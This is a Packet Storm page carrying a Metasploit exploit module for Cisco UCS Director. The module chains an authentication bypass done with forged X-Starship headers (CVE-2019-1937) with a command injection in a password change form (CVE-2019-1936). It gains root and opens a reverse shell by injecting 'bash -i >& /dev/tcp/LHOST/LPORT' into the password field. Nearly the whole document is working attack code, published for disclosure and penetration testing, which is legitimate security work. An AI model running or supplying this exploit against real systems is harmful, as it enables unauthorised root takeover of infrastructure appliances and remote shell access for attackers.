what you don't know can hurt you

Cisco UCS Director Unauthenticated Remote Code Execution

Cisco UCS Director Unauthenticated Remote Code Execution
Posted Sep 2, 2019
Authored by Pedro Ribeiro | Site metasploit.com

The Cisco UCS Director virtual appliance contains two flaws that can be combined and abused by an attacker to achieve remote code execution as root. The first one, CVE-2019-1937, is an authentication bypass, that allows the attacker to authenticate as an administrator. The second one, CVE-2019-1936, is a command injection in a password change form, that allows the attacker to inject commands that will execute as root. This module combines both vulnerabilities to achieve the unauthenticated command injection as root. It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. Note that Cisco also mentions in their advisory that their IMC Supervisor and UCS Director Express are also affected by these vulnerabilities, but this module was not tested with those products.

tags | exploit, remote, root, vulnerability, code execution
systems | cisco
advisories | CVE-2019-1936, CVE-2019-1937
MD5 | a147290750eba4c14c3f5dfe91e25f2a

Cisco UCS Director Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
'Description' => %q{
The Cisco UCS Director virtual appliance contains two flaws that can be combined
and abused by an attacker to achieve remote code execution as root.
The first one, CVE-2019-1937, is an authentication bypass, that allows the
attacker to authenticate as an administrator.
The second one, CVE-2019-1936, is a command injection in a password change form,
that allows the attacker to inject commands that will execute as root.
This module combines both vulnerabilities to achieve the unauthenticated command
injection as root.
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
Note that Cisco also mentions in their advisory that their IMC Supervisor and
UCS Director Express are also affected by these vulnerabilities, but this module
was not tested with those products.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1937' ], # auth bypass
[ 'CVE', '2019-1936' ], # command injection
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
[ 'URL', 'FULL_DISC' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'payload' => 'cmd/unix/reverse_bash',
},
'Targets' =>
[
[ 'Cisco UCS Director < 6.7.2.0', {} ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 21 2019'
))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
])
end

def check
# can't think of anything better then this
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
})
if res and res.code == 302
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# step 1: get a JSESSIONID cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
)

if res and (res.code == 200 or res.code == 302)
jsession = res.get_cookies.split(';')[0]

# step 2: authenticate our cookie as admin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'vars_get' =>
{
'apiName' => 'GetUserInfo'
},
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"
},
'method' => 'GET'
})

if res and res.code == 200 and res.body.include?("admin")
if not res.get_cookies.empty?
# if the server returns a new cookie, use that
jsession = res.get_cookies.split(';')[0]
end
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")

# step 3: request our reverse shell
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
},
'method' => 'POST',
'vars_post' =>
{
'formatType' => 'json',
'apiName' => 'ExecuteGenericOp',
'serviceName' => 'InfraMgr',
'opName' => 'doFormSubmit',
'opData' => payload
}
})
if res and res.code == 200
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
end
end
end
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close